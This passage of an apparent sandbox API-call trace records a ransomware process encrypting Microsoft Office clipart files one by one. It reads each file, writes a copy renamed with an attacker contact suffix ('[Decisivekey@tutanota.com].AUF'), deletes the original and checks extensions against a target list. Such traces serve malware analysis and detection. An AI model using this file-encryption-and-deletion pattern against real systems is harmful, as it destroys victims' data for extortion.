Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0220.162] lstrlenW (lpString=".jpg") returned 4 [0220.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.164] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.164] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.164] GetLastError () returned 0x0 [0220.164] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x85c, lpOverlapped=0x0) returned 1 [0220.198] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x860, lpOverlapped=0x0) returned 1 [0220.199] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.199] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.199] SetEndOfFile (hFile=0x16c) returned 1 [0220.199] CloseHandle (hObject=0x16c) returned 1 [0220.199] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.199] SetEndOfFile (hFile=0x1f8) returned 1 [0220.200] CloseHandle (hObject=0x1f8) returned 1 [0220.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0220.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0220.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0220.200] lstrlenW (lpString=".doc") returned 4 [0220.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.200] lstrlenW (lpString=".docx") returned 5 [0220.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.200] lstrlenW (lpString=".pdf") returned 4 [0220.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.200] lstrlenW (lpString=".xls") returned 4 [0220.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.200] lstrlenW (lpString=".xlsx") returned 5 [0220.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.200] lstrlenW (lpString=".ppt") returned 4 [0220.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0220.200] lstrlenW (lpString=".zip") returned 4 [0220.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.200] lstrlenW (lpString=".rar") returned 4 [0220.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.201] lstrlenW (lpString=".bz2") returned 4 [0220.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.201] lstrlenW (lpString=".7z") returned 3 [0220.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0220.201] lstrlenW (lpString=".dbf") returned 4 [0220.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0220.201] lstrlenW (lpString=".1cd") returned 4 [0220.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0220.201] lstrlenW (lpString=".jpg") returned 4 [0220.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.201] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2960) returned 1 [0220.201] CloseHandle (hObject=0x1f8) returned 1 [0220.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x20 [0220.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.202] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.202] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.202] GetLastError () returned 0x0 [0220.202] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xb90, lpOverlapped=0x0) returned 1 [0220.218] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0220.219] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.219] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.219] SetEndOfFile (hFile=0x16c) returned 1 [0220.219] CloseHandle (hObject=0x16c) returned 1 [0220.219] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.219] SetEndOfFile (hFile=0x1f8) returned 1 [0220.220] CloseHandle (hObject=0x1f8) returned 1 [0220.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0220.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0220.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0220.220] lstrlenW (lpString=".doc") returned 4 [0220.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.220] lstrlenW (lpString=".docx") returned 5 [0220.220] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.220] lstrlenW (lpString=".pdf") returned 4 [0220.220] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.220] lstrlenW (lpString=".xls") returned 4 [0220.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.220] lstrlenW (lpString=".xlsx") returned 5 [0220.220] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.220] lstrlenW (lpString=".ppt") returned 4 [0220.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0220.220] lstrlenW (lpString=".zip") returned 4 [0220.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.220] lstrlenW (lpString=".rar") returned 4 [0220.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.221] lstrlenW (lpString=".bz2") returned 4 [0220.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.221] lstrlenW (lpString=".7z") returned 3 [0220.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0220.221] lstrlenW (lpString=".dbf") returned 4 [0220.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0220.221] lstrlenW (lpString=".1cd") returned 4 [0220.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0220.221] lstrlenW (lpString=".jpg") returned 4 [0220.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.221] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2228) returned 1 [0220.221] CloseHandle (hObject=0x1f8) returned 1 [0220.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x20 [0220.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.221] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.221] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.222] GetLastError () returned 0x0 [0220.222] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x8b4, lpOverlapped=0x0) returned 1 [0220.223] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0220.223] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.224] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.224] SetEndOfFile (hFile=0x16c) returned 1 [0220.224] CloseHandle (hObject=0x16c) returned 1 [0220.224] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.224] SetEndOfFile (hFile=0x1f8) returned 1 [0220.225] CloseHandle (hObject=0x1f8) returned 1 [0220.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0220.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0220.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0220.225] lstrlenW (lpString=".doc") returned 4 [0220.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.225] lstrlenW (lpString=".docx") returned 5 [0220.225] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.225] lstrlenW (lpString=".pdf") returned 4 [0220.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.225] lstrlenW (lpString=".xls") returned 4 [0220.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.225] lstrlenW (lpString=".xlsx") returned 5 [0220.225] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.225] lstrlenW (lpString=".ppt") returned 4 [0220.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0220.225] lstrlenW (lpString=".zip") returned 4 [0220.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.225] lstrlenW (lpString=".rar") returned 4 [0220.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.225] lstrlenW (lpString=".bz2") returned 4 [0220.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.225] lstrlenW (lpString=".7z") returned 3 [0220.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0220.225] lstrlenW (lpString=".dbf") returned 4 [0220.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0220.225] lstrlenW (lpString=".1cd") returned 4 [0220.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0220.226] lstrlenW (lpString=".jpg") returned 4 [0220.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.226] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2300) returned 1 [0220.226] CloseHandle (hObject=0x1f8) returned 1 [0220.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x20 [0220.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.226] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.226] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.227] GetLastError () returned 0x0 [0220.227] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0220.269] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x900, lpOverlapped=0x0) returned 1 [0220.270] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.270] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.270] SetEndOfFile (hFile=0x16c) returned 1 [0220.270] CloseHandle (hObject=0x16c) returned 1 [0220.270] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.270] SetEndOfFile (hFile=0x1f8) returned 1 [0220.271] CloseHandle (hObject=0x1f8) returned 1 [0220.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0220.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0220.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0220.271] lstrlenW (lpString=".doc") returned 4 [0220.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.271] lstrlenW (lpString=".docx") returned 5 [0220.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.271] lstrlenW (lpString=".pdf") returned 4 [0220.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.271] lstrlenW (lpString=".xls") returned 4 [0220.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.271] lstrlenW (lpString=".xlsx") returned 5 [0220.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.271] lstrlenW (lpString=".ppt") returned 4 [0220.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0220.272] lstrlenW (lpString=".zip") returned 4 [0220.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.272] lstrlenW (lpString=".rar") returned 4 [0220.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.272] lstrlenW (lpString=".bz2") returned 4 [0220.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.272] lstrlenW (lpString=".7z") returned 3 [0220.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0220.272] lstrlenW (lpString=".dbf") returned 4 [0220.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0220.272] lstrlenW (lpString=".1cd") returned 4 [0220.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0220.272] lstrlenW (lpString=".jpg") returned 4 [0220.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.273] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2020) returned 1 [0220.273] CloseHandle (hObject=0x1f8) returned 1 [0220.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x20 [0220.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.273] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.273] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.274] GetLastError () returned 0x0 [0220.274] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x7e4, lpOverlapped=0x0) returned 1 [0220.284] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0220.284] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.284] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.284] SetEndOfFile (hFile=0x16c) returned 1 [0220.284] CloseHandle (hObject=0x16c) returned 1 [0220.284] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.284] SetEndOfFile (hFile=0x1f8) returned 1 [0220.285] CloseHandle (hObject=0x1f8) returned 1 [0220.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0220.285] lstrlenW (lpString="C:\\Program Files\\Microsoft 